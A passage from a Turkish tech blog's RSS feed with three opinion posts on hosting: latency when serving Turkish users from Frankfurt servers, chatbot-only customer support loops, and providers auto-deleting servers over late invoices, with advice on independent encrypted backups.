            <description><![CDATA[Maliyeti ucuz diye Almanya veya Hollanda'dan VDS kiralayıp Türkiye'deki kullanıcılara e-ticaret yapmaya çalışanların yaşadığı 70 ms gecikme, kümülatif TTFB kaybı ve terk edilen sepetler.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/yurtdisi-lokasyon-vds-alip-turkiyeye-e-ticaret-yapmak-latency-cilesi/thumbnail" alt=""> İstanbul'un en yoğun semtlerinden birinde acil travma ve ilk yardım kliniği açtığınızı hayal edin. Kliniğin konumu harikadır; kapıda her gün yüzlerce acil hasta beklemektedir. Ancak kliniği kuran idareci, "İstanbul'da laboratuvar kiraları ve tıbbi cihazlar çok pahalı, maliyeti düşürmek için kan tahlil laboratuvarımızı ve cerrahi sterilizasyon ünitemizi Almanya'nın Frankfurt şehrinde kuralım, orası çok ucuz" demiştir. Acile gelen her kanamalı hastadan kan tüpü alınır, kuryeye verilir, kurye uçağa binip Frankfurt'a uçar, tahlil yapılır ve sonuç 8 saat sonra geri getirilir. Hasta sedyede kan kaybından şoka girerken idarecinin yaptığı savunma ise akıl almazdır: <em>"Ama efendim Frankfurt'taki biyokimya analizörlerimiz son model ve yarı fiyatına kiraladık!"</em> Bu bir tasarruf değil; fiziksel mesafenin biyolojik sonuçlarını kavramaktan aciz bir klinik cinayettir.</p>
<p>Türkiye'deki hedef kitleye yönelik bir e-ticaret sitesi, SaaS platformu veya kurumsal portal açarken; sırf aylık birkaç euro daha ucuz diye Almanya (Hetzner), Fransa (OVH) veya Hollanda lokasyonlu sunucuları seçen ve CDN/Önbellek mimarisi kurmadan sistemi çıplak halde çalıştıran girişimcilerin yaşadığı trajedi tam olarak bu Frankfurt laboratuvarı sendromudur.</p>
<hr>
<h2>Işık Hızı Bükülemez: Ağ Gecikmesi (Latency) Nedir?</h2>
<p>Birçok acemi yazılımcı interneti "anlık" bir ortam zanneder. Oysa veri, fiber optik kabloların içindeki cam lifler boyunca fotonlarla (ışık dalgalarıyla) taşınır. Işık camın içinde vakumdaki kadar hızlı ilerleyemez (yaklaşık 200.000 km/s).</p>
<p>İstanbul ile Frankfurt arasındaki fiziksel kablo mesafesi, deniz altı hatları, sınır yönlendiricileri (border routers) ve ISP ara bağlantıları (peering) hesaba katıldığında bir gidiş-dönüş süresi (<strong>RTT - Round Trip Time / Ping</strong>) üretir:</p>
<ul>
<li><strong>İstanbul -> İstanbul İçi Veri Merkezi:</strong> 2 - 5 milisaniye (ms)</li>
<li><strong>İstanbul -> Frankfurt (Hetzner/OVH):</strong> 45 - 65 milisaniye (ms)</li>
<li><strong>Anadolu (Diyarbakır, Erzurum, Trabzon) -> Frankfurt:</strong> 70 - 95 milisaniye (ms)</li>
</ul>
<pre><code>+------------------------------------------------------------------------+
|                      TEK BİR İSTEĞİN FİZİKSEL YOLCULUĞU                |
|                                                                        |
|  Kullanıcı (Ankara) ───[Fiber Hat: 2.800 KM]───► Sunucu (Frankfurt)    |
|  - TCP Handshake (SYN, SYN-ACK, ACK) : 1 RTT (70 ms)                  |
|  - TLS 1.3 Handshake (Şifreleme)     : 1 RTT (70 ms)                  |
|  - HTTP GET İsteği ve İlk Yanıt      : 1 RTT (70 ms)                  |
|                                                                        |
|  DAHA SAYFAYA DAİR TEK BİR PİKSEL BİLE ÇİZİLMEDEN:                     |
|  Minimum Ağ Maliyeti: 210 Milisaniye! (Yalnızca el sıkışma!)           |
+------------------------------------------------------------------------+
</code></pre>
<p>İstanbul'daki yerli bir veri merkezinde bu 3 gidiş-dönüşün toplam süresi <strong>15 milisaniye</strong> iken; yurt dışı sunucuda sadece bağlantıyı kurmak <strong>210 milisaniye</strong> sürer!</p>
<hr>
<h2>Kümülatif Kriz: E-Ticarette "Sepete Ekle" İşkencesi</h2>
<p>"Canım 60 milisaniyeden ne olacak, insan gözü bunu fark etmez bile" diyenler, modern web uygulamalarının nasıl çalıştığını bilmeyenlerdir.</p>
<p>Modern bir web sayfası tek bir istekten ibaret değildir:</p>
<ol>
<li><strong>Dinamik HTML Üretimi:</strong> Kullanıcı "Sepete Ekle" butonuna basar. AJAX isteği Frankfurt'a uçar (70 ms).</li>
<li><strong>Uygulama İçi Katman Gecikmesi:</strong> Eğer arka planda veritabanı ile uygulama sunucusu da farklı yerlerdeyse gecikme katlanır.</li>
<li><strong>Kritik Kaynaklar (CSS, JS, Fontlar):</strong> Sayfanın ilk açılışında tarayıcı HTML'i ayrıştırır; ardından 15 farklı JavaScript ve CSS dosyasını çekmek için tekrar Frankfurt kapısını çalar.</li>
</ol>
<h3>TTFB (Time to First Byte) Patlaması:</h3>
<p>Google'ın arama motoru sıralama algoritmalarında (Core Web Vitals) en kritik metriklerden biri <strong>TTFB (İlk Bayt Alma Süresi)</strong>'dir. Google, TTFB değerinin <strong>200 milisaniyenin altında</strong> olmasını ister:</p>
<ul>
<li>İstanbul lokasyonlu iyi optimize edilmiş bir WooCommerce/Laravel sitesinde TTFB: <strong>80 - 120 ms</strong> (Mükemmel - Yeşil).</li>
<li>Frankfurt lokasyonlu aynı sitede saf ağ gecikmesi yüzünden TTFB: <strong>350 - 550 ms</strong> (Kötü - Kırmızı!).</li>
</ul>
<p>Googlebot Türkiye'den veya Türkiye'ye yakın IP bloklarından sitenizi taradığında bu yüksek gecikmeyi doğrudan "yavaş ve kalitesiz site" olarak etiketler; arama sonuçlarında yerli rakiplerinizin arkasına iter.</p>
<hr>
<h2>Türk Telekom ve Yerel ISP'lerin Yurtdışı Çıkış Kaprisleri</h2>
<p>Yurtdışı sunucu kullanmanın en büyük riski, Türkiye'nin yurtdışı internet omurgasına (Transit Hatlar) bağımlı olmanızdır.</p>
<p>Türkiye'nin internet trafiği Bulgaristan ve Yunanistan üzerinden geçen fiber karasal hatlar ve Akdeniz'deki deniz altı kabloları (MedNautilus, SEA-ME-WE-5) ile Avrupa'ya bağlanır:</p>
<ul>
<li>Bir balıkçı teknesi Akdeniz'de çıpasını atıp deniz altı kablosunu kopardığında,</li>
<li>Türk Telekom'un Frankfurt omurgasındaki BGP yönlendiricisi arızalandığında,</li>
<li>Ya da Türkiye genelinde bir siber saldırı veya bant daraltma (throttling) uygulandığında;</li>
</ul>
<p>Yurtdışı sunucularınıza olan ping süresi bir gecede <strong>50 ms'den 350 ms'ye fırlar veya paket kaybı (packet loss) %40'a çıkar!</strong></p>
<p>Yerli veri merkezindeki siteler tıkır tıkır çalışırken, sizin sitenize Türkiye'den girmeye çalışan müşteriler donan sayfalarla karşılaşır. Destek ekibine yazarsınız; Hetzner yanıt verir: <em>"Almanya ağımızda sorun yok, Türkiye ISP'nizin rotalandırmasını kontrol edin."</em></p>
<hr>
<h2>Masadaki Hastayı Kurtarmak: Hibrit Çözüm Mimarisi</h2>
<p>Peki, maliyet avantajı nedeniyle yurtdışı bulut sağlayıcılarını (Hetzner, AWS Frankfurt vb.) kullanmak zorunda olan bir işletme bu gecikme cehenneminden nasıl kurtulur?</p>
<p>Çözüm; altyapıyı körü körüne çıplak bırakmak değil, <strong>Kenar Ağ (Edge / CDN) ve Akıllı Önbellek</strong> katmanlarıyla mesafeyi sanal olarak sıfırlamaktır.</p>
<pre><code>[Kullanıcı (İstanbul)]
          │ 2 ms (Işık Hızı!)
          ▼
[Cloudflare / Fastly Türkiye Edge Noktası (İstanbul / Ankara POP)]
          │
          ├─► Statik Dosyalar (CSS, JS, Resimler, Fontlar)
          │   ───► TÜRKİYE'DEN ANINDA YANITLANIR! (0 ms Frankfurt Maliyeti)
          │
          ├─► HTML Sayfa Önbelleği (Guest / Ziyaretçi)
          │   ───► TÜRKİYE'DEN 15 ms'de DÖNER!
          │
          ▼ (Yalnızca Dinamik İşlemler: Sepet, Ödeme, Giriş)
[Cloudflare Argo Smart Routing / Özel Optimize Omurga]
          │
          ▼ (Hızlı Tünelleme)
[Kaynak Sunucu (Frankfurt)]
</code></pre>
<h3>1. Cloudflare Argo Smart Routing ile Tünelleme</h3>
<p>Cloudflare'ın özel omurgası (Argo), kamuya açık internetin tıkalı BGP yollarını baypas eder. İstanbul'daki kullanıcı isteği Cloudflare'ın İstanbul veri merkezine girer ve oradan Cloudflare'ın özel fiber hattıyla Frankfurt'a en düşük gecikmeyle ulaştırılır.</p>
<h3>2. Kritik Dinamik Veritabanını Yaklaştırmak</h3>
<p>Eğer veritabanı sorguları çok fazlaysa ve CDN yetmiyorsa; en mantıklı mimari dinamik arka yüzü (API &#x26; Database) Türkiye'deki yerel bir VDS'e almak, ağır medya ve dosya depolama işlemlerini (S3/Object Storage) yurtdışında tutmaktır.</p>
<hr>
<h2>Amazon ve Google Mantığı: 100 Milisaniyenin Faturası</h2>
<p>Amazon tarafından yapılan tarihi bir araştırma vardır:<br>
<strong>"Sayfa yüklenme süresindeki her 100 milisaniyelik gecikme, şirketin toplam satışlarında %1'lik doğrudan ciro kaybına yol açar."</strong></p>
<p>Günde 500.000 TL ciro yapan bir e-ticaret sitesi düşünün:</p>
<ul>
<li>Yıllık 500 Euro hosting masrafından tasarruf etmek için Frankfurt'tan sunucu alır.</li>
<li>Sitedeki 200 ms'lik ekstra latency yüzünden sepet terk etme oranları %3 artar.</li>
<li>Şirketin yıllık kaybı: <strong>5.4 Milyon TL!</strong></li>
</ul>
<p>500 Euro kâr edeceğim derken 5.4 milyon lira kaybeden esnaf mantığı, bilişim dünyasının en acı tebessümle karşılanan basiretsizliğidir.</p>
<h2>Sonuç</h2>
<p>Kan tahlilini Frankfurt'a gönderen acil poliklinik hastayı kurtaramaz; hedef kitlesi Türkiye'deyken aradaki 70 milisaniyelik uçurumu hesaplamayan e-ticaret sitesi de rekabette hayatta kalamaz.</p>
<p>Mühendislikte lokasyon sadece coğrafi bir koordinat değil; doğrudan kullanıcı deneyimi, dönüşüm oranı (conversion rate) ve cirodur. Yurtdışı sunucuların cazibesine kapılmadan önce ya aradaki mesafeyi profesyonel CDN mimarileriyle kapatın; ya da sunucunuzu müşterinizin nefes aldığı topraklara, yerel veri merkezlerinin düşük gecikmeli zeminine kurun.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Latency</category>
            <category>VDS</category>
            <category>E-Ticaret</category>
            <category>Ağ Yönetimi</category>
            <category>Ping</category>
            <category>SEO</category>
            <category>Hosting</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/yurtdisi-lokasyon-vds-alip-turkiyeye-e-ticaret-yapmak-latency-cilesi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Destek Ekibi Yerine Bot'a Hapsedilen Müşteri ve Otomatik Yanıt Döngüsü]]></title>
            <link>http://localhost:3000/blog/post/destek-ekibi-yerine-bota-hapsedilen-musteri-ve-otomatik-yanit-dongusu</link>
            <guid>destek-ekibi-yerine-bota-hapsedilen-musteri-ve-otomatik-yanit-dongusu</guid>
            <pubDate>Sun, 04 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Maliyeti düşürmek için insan mühendisleri kovup yerine yapay zekâ chatbot'u koyan firmaların kriz anında müşteriyi 'Tarayıcı çerezlerinizi silin' döngüsünde çıldırtan trajedyası.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/destek-ekibi-yerine-bota-hapsedilen-musteri-ve-otomatik-yanit-dongusu/thumbnail" alt=""> Büyük bir hastanenin kardiyoloji servisinde yangın çıktığını hayal edin. Dumanlar koridorları sarmış, oksijen tüpleri patlama tehlikesi altında ve hastalar tahliye edilmeyi bekliyor. Nöbetçi hekim hemen dahili acil durum telefonuna sarılır ve hastanenin merkezi güvenlik santralini arar. Karşısına acil durum koordinatörü bir insan yerine, yönetimin "yapay zeka ve dijital dönüşüm" hevesiyle kurduğu otomatik bir sesli yanıt robotu çıkar:<br>
<em>"Merhabalar! Ben SağlıkBot. Size yardımcı olmaktan mutluluk duyuyorum. Yangın ihbarı için lütfen 1'e, su baskını için 2'ye basınız."</em><br>
Hekim panikle 1'e basar: <em>"Hemen acil durum ekibini bağlayın, 4. kat yanıyor!"</em><br>
Bot neşeli bir ses tonuyla yanıt verir:<br>
<em>"Ateşinizin çıktığını belirttiniz. Lütfen bir bardak ılık su içiniz ve dinleniniz. Bu yanıt sorununuzu çözdü mü? Evet için 1'e, Hayır için 2'ye basınız."</em><br>
Hekim 2'ye basar, bot tekrar başa döner: <em>"Anlayamadım. Lütfen şikayetinizi birkaç kelimeyle özetleyiniz..."</em><br>
Alevler odayı sararken hekim elindeki ahizeyi fırlatır; çünkü karşısında bir zeka değil, müşteriyi oyalamak ve personelden tasarruf etmek için tasarlanmış sağır bir bürokrasi döngüsü vardır.</p>
<p>Bilişim, telekomünikasyon ve web hosting sektöründe son yıllarda tırmanan <strong>"Destek Ekibini Kaldırıp Bot Koyma Çılgınlığı"</strong>, kriz anında sunucusu çöken müşterilere tam olarak bu yangın dehşetini yaşatmaktadır.</p>
<hr>
<h2>Finansal Rasyonun Zaferi: "Destek Maliyetini Sıfırladık!"</h2>
<p>Bir teknoloji şirketinin veya hosting devinin bilançosunda en büyük operasyonel gider (OPEX) kalemi her zaman <strong>nitelikli insan kaynağıdır.</strong></p>
<ul>
<li>7/24 vardiyada duran L2/L3 sistem mühendisleri yüksek maaş ister.</li>
<li>Gece mesaisi, primler, kıdem tazminatları ve eğitim maliyetleri yönetim kurullarının canını sıkar.</li>
</ul>
<p>Tam bu noktada sahneye "Yapay Zeka Danışmanlık Şirketleri" veya CRM satıcıları çıkar:<br>
<em>"Chatbot'umuzu entegre edin! Gelen müşteri taleplerinin %85'ini insan eline değmeden otomatik çözelim! Destek ekibinizin yarısını işten çıkarın, milyonlarca lira kâr edin!"</em></p>
<p>Yönetim kurulu alkışlar eşliğinde projeyi onaylar. Kıdemli sistem mühendislerinin işine son verilir. Web sitesinin sağ alt köşesine "Size Nasıl Yardımcı Olabilirim?" diyen güler yüzlü bir avatar yerleştirilir.</p>
<p>Şirket bültenlerinde gururla duyurur: <em>"Yapay Zekâ Destekli Yeni Nesil Müşteri Deneyimi!"</em></p>
<p>Oysa perdenin arkasında kurulan tek şey, müşteriyi bezdirip pes ettirmek üzere kurgulanmış bir <strong>dijital labirenttir.</strong></p>
<hr>
<h2>Sonsuz Döngü Anatomisi: Dakika Dakika Delirme</h2>
<p>Bir Cuma gecesi e-ticaret sitenizin veritabanı çöker. Kampanya yayındadır, binlerce müşteri kapıdadır. Site <code>500 Internal Server Error</code> basmaktadır.</p>
<p>Müşteri panikle canlı destek penceresini açar:</p>
<pre><code>[Müşteri]: ACİL! MySQL sunucusu çöktü, sitelerimiz açılmıyor, canlı bir mühendise bağlayın!

[Bot]: Merhaba! Ben DestekBot 🤖 Sitenizin açılmadığını duyduğuma üzüldüm. 
       Aşağıdaki adımları denediniz mi?
       1. Tarayıcınızın önbelleğini ve çerezlerini temizleyin.
       2. Modeminizi kapatıp 10 saniye sonra tekrar açın.
       3. Farklı bir tarayıcıdan (Örn: Edge) deneyin.
       
       Sorununuz çözüldü mü? [Evet] / [Hayır]

[Müşteri]: HAYIR! Sunucu çöktü diyorum! Modemle ne alakası var?! İnsan bağla! İNSAN!

[Bot]: Anlıyorum. Bir insan temsilciye bağlanmak istiyorsunuz. 
       Sizi doğru ekibe yönlendirebilmem için lütfen sorununuzu kategorize edin:
       [Fatura İşlemleri] / [Alan Adı Tescili] / [E-Posta Ayarları]

[Müşteri]: [E-Posta Ayarları] (Çaresizlikten tıklar, çünkü 'Sunucu Çökmesi' şıkkı yoktur!)

[Bot]: Outlook kurulum rehberimiz için buraya tıklayabilirsiniz! 
       Başka bir konuda yardımcı olabilir miyim? [Evet] / [Hayır]

[Müşteri]: LANET OLSUN! YETKİLİ BİRİYLE KONUŞMAK İSTİYORUM!

[Bot]: Üzgünüm, şu an tüm müşteri temsilcilerimiz diğer müşterilerimize yardımcı oluyor. 
       Lütfen bir destek bileti açınız. Ortalama yanıt süremiz: 18 Saat!
</code></pre>
<p>Müşteri ekran başında sinir krizi geçirir. Duvara yumruk atar. Çünkü karşısındaki makine sorunu çözmek için değil; insan temsilciye ulaşacak trafiği <strong>filtrelemek, boğmak ve yıldırmak</strong> için programlanmıştır.</p>
<hr>
<h2>"Deflection Rate" Sahtekarlığı: Başarı Nasıl Ölçülüyor?</h2>
<p>Peki, bu şirketlerin yönetim kurulları bu botların "çok başarılı" olduğuna nasıl inanıyor?</p>
<p>Bunun arkasında kurumsal metriklerin çarpıtılması yatar: <strong>Deflection Rate (Saptırma / Savuşturma Oranı).</strong></p>
<p>Eğer bir müşteri botla 3 dakika yazıştıktan sonra çaresizlikten konuşmayı kapatırsa veya öfkeyle sekmeyi çarpıp giderse; botun yönetim paneli bunu şu şekilde raporlar:<br>
<code>"Ticket Deflected: Başarıyla Çözüldü! Müşteri insan temsilciye gitmeden sistemden ayrıldı!"</code></p>
<p>Yönetim kuruluna sunulan slaytta şu yazar: <em>"Yapay zekamız gelen sorunların %88'ini insan temsilciye gerek kalmadan tek başına çözdü!"</em></p>
<p>Gerçekte ise müşteri sorunu çözüldüğü için değil; aşağılandığı, aptal yerine konduğu ve hiçbir muhatap bulamadığı için sistemi terk etmiş ve ertesi gün alan adını rakip firmaya transfer etme kararı almıştır.</p>
<hr>
<h2>Teknik Krizlerde Neden Bot Çalışamaz?</h2>
<p>Basit e-ticaret sitelerinde "Kargom nerede?" veya "İade şartları nelerdir?" gibi statik sorular için chatbot'lar harika çalışabilir.</p>
<p>Ancak sistem mühendisliği, DevOps ve hosting dünyası statik bir alan değildir:</p>
<ol>
<li><strong>Bağlam (Context) Çok Katmanlıdır:</strong> "Sitem açılmıyor" şikayetinin arkasında bir DNS zehirlenmesi, PHP bellek limiti yetersizliği, Nginx upstream zaman aşımı veya bozulmuş bir InnoDB tablosu yatıyor olabilir. Bunu anlamak için log okumak, metrikleri korele etmek gerekir.</li>
<li><strong>Empati ve İnisiyatif Şarttır:</strong> Kriz anında müşterinin ihtiyacı olan ilk şey "Sakin olun, durumu inceliyorum, sunucunuzu ayağa kaldıracağız" diyen bir insan sesinin verdiği güvendir.</li>
<li><strong>Botun Eyleme Geçme Yetkisi Yoktur:</strong> Chatbot konsola girip <code>systemctl restart php-fpm</code> yazamaz, güvenlik duvarından engellenen IP'yi kaldıramaz. Sadece bir metin üretecidir.</li>
</ol>
<hr>
<h2>Doğru Müşteri Desteği Mimarisi: "Bariyer" Değil, "Asistan"</h2>
<p>Yapay zeka teknik destekte tamamen mi gereksizdir? Hayır. Ancak yapay zeka müşterinin önüne dikilen bir barikat olarak değil; <strong>mühendisin arkasında duran bir yardımcı pilot (copilot)</strong> olarak konumlandırılmalıdır.</p>
<pre><code>[MÜŞTERİ TALEBİ AÇAR]
          │
          ▼
[Arka Planda Çalışan LLM / Teşhis Ajanı]
- Müşterinin sunucu loglarını anında tarar.
- Nginx error.log ve MySQL durumunu analiz eder.
- "Muhtemel Sorun: Max Connections aşıldı (Hata Kodu 1040)" teşhisini koyar.
          │
          ▼
[CANLI SİSTEM MÜHENDİSİNİN EKRANINA DÜŞER]
- Mühendis ekranda botun çıkardığı teşhisi ve hazır çözüm butonunu görür.
- Mühendis tek tıkla onaylar veya parametreyi düzeltir.
          │
          ▼
[MÜŞTERİYE İNSAN İMZASIYLA DOĞRUDAN ÇÖZÜM GİDER!]
(Süre: 45 Saniye! Memnuniyet: %100)
</code></pre>
<p>Bu modelde yapay zeka müşteriyi oyalamaz; mühendisin işini 10 kat hızlandırır. Müşteri her zaman karşısında yetkili bir insan muhatap bulur.</p>
<h2>Sonuç</h2>
<p>Yangın anında itfaiye yerine otomatik santral kaydı dinleten bir hastane facianın sorumlusu olmaktan kaçamaz; sunucusu çökmüş müşterisini robot döngülerinde boğan bir teknoloji firması da itibarını koruyamaz.</p>
<p>Müşteri desteği bir maliyet merkezi değil; kriz anında müşterinizle aranızda kurduğunuz en hayati güven köprüsüdür. O köprüyü dinamitleyip yerine sağır bir bot koyarsanız; ilk fırtınada müşterilerinizin o uçurumdan tek tek aşağı atladığını ve bir daha asla geri dönmediğini görürsünüz.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Chatbot</category>
            <category>Teknik Destek</category>
            <category>Yapay Zeka</category>
            <category>Müşteri Deneyimi</category>
            <category>Kriz Yönetimi</category>
            <category>Hosting</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/destek-ekibi-yerine-bota-hapsedilen-musteri-ve-otomatik-yanit-dongusu/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Faturasını Unutan Kurumsal Müşterinin Sunucusunun Sessizce Silinmesi]]></title>
            <link>http://localhost:3000/blog/post/faturasini-unutan-kurumsal-musterinin-sunucusunun-sessizce-silinmesi</link>
            <guid>faturasini-unutan-kurumsal-musterinin-sunucusunun-sessizce-silinmesi</guid>
            <pubDate>Sat, 03 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Muhasebe yoğunluğunda 3 gün geciken 150 TL'lik VDS faturası yüzünden otomatik WHMCS cron betiği tarafından sunucusu ve tüm disk yedekleri kalıcı olarak silinen şirketlerin dijital idamı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/faturasini-unutan-kurumsal-musterinin-sunucusunun-sessizce-silinmesi/thumbnail" alt=""> Yoğun bakım ünitesinde tedavisi süren, solunum cihazına bağlı bir hastayı düşünün. Hastanın durumu iyiye gitmekte, birkaç gün içinde normal servise çıkması planlanmaktadır. Ancak hafta sonuna denk gelen günlerde hastanın ailesi, hastanenin 3 günlük yatış avans faturasını banka mesai saati bittiği veya muhasebeci o an toplantıda olduğu için 48 saat geciktirir. Pazartesi sabahı saat 00:01'de hastane otomasyon yazılımı devreye girer. Yazılım hastanın yakınına tek bir telefon açmaz, bir hemşire odaya gidip bakmaz; otomatik bir komutla hastanın yaşam destek ünitesinin fişini prizden çeker ve hastayı morg transfer arabasına yükler! Aile sabah faturayı ödemek için bankoya geldiğinde muhasebe memuru kayıtsızca ekrana bakar: <em>"Efendim faturanız 48 saat gecikmiş. Sistemimiz borcu ödenmeyen hastaların cihazını otomatik kapatıp yatağı yeni hastaya tahsis edecek şekilde programlanmıştır. Bizim yapabileceğimiz bir şey yok, yazılım böyle çalışıyor."</em> Bu bir tahsilat disiplini değil; bürokratik bir cinayettir.</p>
<p>Web barındırma ve bulut bilişim sektöründe WHMCS veya benzeri faturalandırma yazılımlarının arkasına sığınarak, birkaç günlük gecikme yüzünden müşterinin sanal sunucusunu (VDS), disk bloklarını ve tüm yedeklerini <strong>sessizce silip formatlayan (Terminate / Destroy)</strong> sağlayıcıların yaptığı şey, tam olarak bu acımasız dijital idir.</p>
<hr>
<h2>Otomasyonun Soğuk Çarkları: 72 Saatlik Geri Sayım</h2>
<p>Büyük veya küçük ölçekli birçok hosting firması süreçlerini insan denetiminden tamamen çıkarıp zamanlanmış görevlere (Cron Jobs) teslim etmiştir.</p>
<p>WHMCS veya benzeri bir yazılımda varsayılan yaşam döngüsü şu şekilde kurgulanır:</p>
<pre><code>[Fatura Kesim Tarihi - Gün 0]
       │ E-posta fırlatılır: "Faturanız oluşturuldu."
       ▼
[Son Ödeme Tarihi - Gün 7]
       │ E-posta: "Faturanızın son ödeme günü."
       ▼
[Gecikme - Gün 8 (+1 Gün)]
       │ Cron: SUSPEND (Askıya Alma) 🟡
       │ Web sitesi durdurulur, 'Hesap Askıya Alındı' ekranı çıkar.
       ▼
[Gecikme - Gün 10 (+3 Gün)]
       │ Cron: TERMINATE / DESTROY (İDAM VE İMHA!) 🔴
       │ API Çağrısı: Proxmox / VMware / SolusVM -> "Delete VM and Disks"
       │ Tüm diskler formatlanır, IP başka müşteriye satılır!
</code></pre>
<p>Geliştiricinin veya şirket muhasebesinin faturayı unuttuğu o 3 günlük zaman diliminde arka planda hiçbir insani kontrol mekanizması çalışmaz.</p>
<hr>
<h2>"Ama Biz E-Posta Gönderdik!" Bahanesi</h2>
<p>Müşteri Pazartesi sabahı uyandığında sitelerinin, e-postalarının ve veritabanının yok olduğunu görür. Sağlayıcıyı arar:<br>
<em>"Sunucum kapandı, hemen faturayı ödeyeyim, sunucumu açın!"</em></p>
<p>Sağlayıcının destek personeli ekrandaki loga bakar ve o dondurucu cümleyi kurar:<br>
<em>"Beyefendi faturanız 3 gün geciktiği için hesabınız sistem tarafından otomatik olarak 'Terminate' edilmiş (silinmiş). Sunucunuzun diskleri formatlandı ve kaynaklar başka bir müşteriye tahsis edildi. Verileriniz kalıcı olarak silinmiştir, geri getiremeyiz."</em></p>
<p>Müşteri donakalır: <em>"Nasıl silersiniz?! Benim 8 yıllık şirket arşivim vardı orada! Neden aramadınız?!"</em></p>
<p>Destek personelinin sığındığı o klasik kalkan gelir:<br>
<em>"Sayın müşterimiz, sistemimiz faturanız geciktiğinde kayıtlı e-posta adresinize 3 adet otomatik bildirim göndermiştir. Sözleşmemizin 5. maddesi gereği ödenmeyen hesapların silinmesinden sağlayıcı sorumlu değildir."</em></p>
<p>Peki, gerçekte o e-postalara ne olmuştur?</p>
<ol>
<li>Şirketin muhasebe departmanında e-postayı alan personel o hafta yıllık izindedir veya raporludur.</li>
<li>Sağlayıcının gönderdiği o standart <code>noreply@</code> fatura mailleri müşterinin Gmail/Outlook <strong>Spam (Gereksiz)</strong> klasörüne düşmüştür.</li>
<li>Ya da faturası geciken sunucunun üzerinde şirketin e-posta sunucusu da barındığı için; sunucu 1. gün askıya alındığında müşterinin kurumsal e-posta kutusu kapanmış, dolayısıyla 2. ve 3. gün atılan uyarı mailleri müşteriye fiziksel olarak hiç ulaşamamıştır! Kendi kestiği dalın üzerine uyarı mektubu asan bir akıl tutulması.</li>
</ol>
<hr>
<h2>Veri İmhasının Geri Dönüşsüzlüğü: Masadaki Küller</h2>
<p>Bir sanal sunucu hipervizör düzeyinde silindiğinde (Destroy):</p>
<ul>
<li>KVM veya VMware üzerindeki <code>.qcow2</code> veya <code>.vmdk</code> disk imajı işletim sistemi düzeyinde unlinked edilir (<code>rm</code>).</li>
<li>Modern NVMe depolama havuzlarında (Ceph / ZFS / LVM) bloklar anında boş havuzuna (free pool) iade edilir ve TRIM komutu çalıştırılır.</li>
<li>Dakikalar sonra o blokların üzerine başka bir müşterinin sanal makinesinin işletim sistemi kurulur.</li>
</ul>
<p>Adli bilişim laboratuvarına milyonlarca lira dökseniz bile, TRIM edilmiş bir NVMe diskten o veritabanını geri getiremezsiniz. 150 TL'lik bir fatura gecikmesi, milyon dolarlık bir şirketin operasyonel hafızasının kalıcı olarak mezara gömülmesiyle sonuçlanmıştır.</p>
<hr>
<h2>Neden Bir Telefon Açılmaz? Müşteri İlişkileri Ahlakı</h2>
<p>Bir banka düşünün; kredi kartı borcunuzu 3 gün geciktirdiğinizde evinizi yıkıp arsanızı başkasına satar mı? Hayır. En fazla gecikme faizi uygular, SMS atar, müşteri temsilcisi telefonla arar: <em>"Ahmet Bey, borcunuz gecikti, bir sorun mu var?"</em> der.</p>
<p>Peki, hosting firmalarının bu "anında silme" barbarlığının arkasında ne yatar?</p>
<ol>
<li><strong>Kaynak Tembelliği:</strong> Sağlayıcı veri merkezinde yeni donanım yatırımı yapmamıştır; kapasitesi tıka basa doludur. Yeni gelen müşteriye VDS açabilmek için eski müşterinin gecikmesini pusuya yatıp bekler. Fatura 1 saat geciktiği an diski boşaltıp yeni müşteriye satar.</li>
<li><strong>Kötü Niyetli Sözleşme Tasarımı:</strong> Kullanıcı sözleşmelerine (ToS) koydukları tek taraflı küçük maddelerle kendilerini hukuki güvenceye aldıklarını zannederler.</li>
<li><strong>Müşteriye Saygı Eksikliği:</strong> Müşteriyi bir iş ortağı değil; sadece her ay cüzdanından para çekilecek bir "abone numarası" olarak gören tüccar zihniyeti.</li>
</ol>
<hr>
<h2>Kurumsal Kurtuluş Protokolü: Dijital Rehineliğe Son Vermek</h2>
<p>Bu kabusu yaşamamak için şirketlerin altyapı yönetiminde alması gereken katı önlemler şunlardır:</p>
<ol>
<li><strong>Kritik Sunucuları Kredi Kartı Otomatik Ödemesine Bağlayın:</strong><br>
Asla faturaların muhasebe tarafından manuel havale/EFT ile ödenmesine güvenmeyin. Sisteme şirket kredi kartını tanımlayın ve otomatik çekim talimatı verin.</li>
<li><strong>Kurtarma İletişim Kanallarını Çeşitlendirin:</strong><br>
Hosting panelindeki iletişim e-postasını ASLA o sunucunun üzerinde barınan bir adres (<code>info@sirket.com</code>) yapmayın! Mutlaka bağımsız bir harici adres (örneğin şirket adına açılmış izole bir Gmail) ve şirket yöneticisinin doğrudan cep telefonu (SMS doğrulamalı) tanımlanmalıdır.</li>
<li><strong>3-2-1 Yedekleme Kuralı: Sağlayıcıya Asla Güvenmeyin!</strong><br>
Sunucunuzun yedeğini aynı sağlayıcının kabinine veya paneline bırakmak yedekleme değildir. Her Pazar gecesi veritabanı yedeğiniz otomatik bir cron betiğiyle AWS S3, Google Cloud Storage veya şirketin kendi ofisindeki bağımsız bir NAS cihazına şifreli olarak çekilmelidir.</li>
</ol>
<pre><code class="language-bash"># Bağımsız Harici Yedekleme Örneği (AWS S3'e Şifreli Gönderim):
mysqldump -u root -p'Sifre' --all-databases | gzip | \
gpg -c --passphrase "CokGizliSifre" | \
aws s3 cp - s3://sirket-bagimsiz-yedek/db_$(date +%F).sql.gz.gpg
</code></pre>
<p>Bu betik çalıştığı sürece sağlayıcınız sunucunuzu silse bile 2 saat içinde başka bir bulutta tüm şirketi sıfırdan ayağa kaldırabilirsiniz.</p>
<h2>Sonuç</h2>
<p>Hastanenin faturası 2 gün gecikti diye hastayı fişten çeken zihniyete sağlık kuruluşu denilemez; 150 TL için 8 yıllık müşteri verisini tek tuşla imha eden firmaya da teknoloji ortağı denilemez.</p>
